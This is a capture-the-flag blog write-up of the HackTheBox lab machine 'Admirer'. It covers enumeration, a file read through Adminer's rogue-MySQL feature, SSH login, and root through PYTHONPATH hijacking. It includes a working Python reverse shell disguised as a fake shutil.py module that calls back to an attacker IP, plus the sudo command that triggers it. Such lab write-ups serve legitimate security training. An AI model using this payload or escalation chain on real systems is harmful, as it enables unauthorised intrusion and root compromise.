HackTheBox - Admirer

Summary

Admirer,a Linux box created by HackTheBox user polarbearer & GibParadox.The Initial scan shows that we can dump some contacts and credentials from admin-dir. which reveal the credential for ftp downloading data from ftp we see we have a copy of /var/html/www we see that it has utility-scripts a db_admin which shows that it is using some open-source alternative googling around something similar we find adminer. We also see a file discloser vulnerability using.So I hosted my own mysql db and connected to my db and started dumping files on the server and dumping ../index.php,which reveal the credential. Using that on ssh and username as waldo we can ssh to the server. sudo -l reveal that we can SETENV and run /opt/scripts/admin_tasks.sh. Using that we can exploit the Backup web,which is using python script. So PYTHONPATH hijacking we can get a root shell.

Initial Enumeration

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.80 scan initiated Sat May  2 17:43:44 2020 as: nmap -sC -sV -oN nmap/admirer 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 2 17:44:20 2020 -- 1 IP address (1 host up) scanned in 35.61 seconds

Running gobuster don’t reveal much but before that itself i had opened http://10.10.10.187/robots.txt

1
2
3
4
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

Following the waldo i download http://10.10.10.187/admin-dir/contacts.txt and http://10.10.10.187/admin-dir/credentials.txt which reveal the ftp password

as

1
2
ftpuser
%n?4Wz}R$tTF7

using that creds on ftp i downloaded html.tar.gz and dump.sql
checking the html dump i saw something intresting in utility-scripts/db_admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";

// Create connection
$conn = new mysqli($servername, $username, $password);

// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";


// TODO: Finish implementing this or find a better open source alternative
?>

also saw admin_tasks.php had

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
$task == '5' || $task == '6' || $task == '7')
{

echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
}
else
{
echo("Invalid task.");
}
?>
// NOTE: This is not the complete code

but playing around a lot i was unable to bypass the if condition

so i tried all the passwords i already had on ssh with all the username.

http://10.10.10.187/utility-scripts/adminer.php

reading on blog shows that we can connect mysql of our local hosted by me

Dumping data to Table

1
2
3
load data local infile '../index.php'
into table data
fields terminated by "\n"

which dump index.php which have the dbpassword as &<h5b~yK3F#{PaPB&dA}{H>

User

Using that on ssh for user waldo and using the db password we can get user shell

1
2
3
4
5
waldo@admirer:~$ whoami;hostname;cut -c 1-15 user.txt
waldo
admirer
8cf076d377c90c5
waldo@admirer:~$

and we have user.txt

Privilege Escalation

Running sudo -l

1
2
3
4
5
6
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

we see we can run /opt/scripts/admin_tasks.sh reading the code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/bin/bash

view_uptime()
{
/usr/bin/uptime -p
}

view_users()
{
/usr/bin/w
}

view_crontab()
{
/usr/bin/crontab -l
}

backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;

*) echo "Unknown option." >&2
esac

exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;

*) echo "Unknown option." >&2
esac
done

exit 0

checking backup_web function we see that its running /opt/scripts/backup.py &

1
2
3
4
5
6
7
8
9
10
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}

and we see the python script

1
2
3
4
5
6
7
8
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
You have new mail in /var/mail/waldo

seeing that we have SETENV so we can do some path hijack and PYTHONPATH variable and

create a file as shutil.py and keep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import os
import pty
import socket

lhost = "10.10.14.174"
lport = 4444

ZIP_DEFLATED = 0

class ZipFile:
def close(*args):
return

def write(*args):
return

def __init__(self, *args):
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()

and running a nc listener and running

1
sudo -E PYTHONPATH=$(pwd) /opt/scripts/admin_tasks.sh 6
1
2
3
4
5
6
root@admirer:/root# whoami;hostname;cut -c 1-15 /root/root.txt
whoami;hostname;cut -c 1-15 /root/root.txt
root
admirer
694f4bf30e8bda5
root@admirer:/root#

and we have pwned Admirer 💃

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/admirer/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.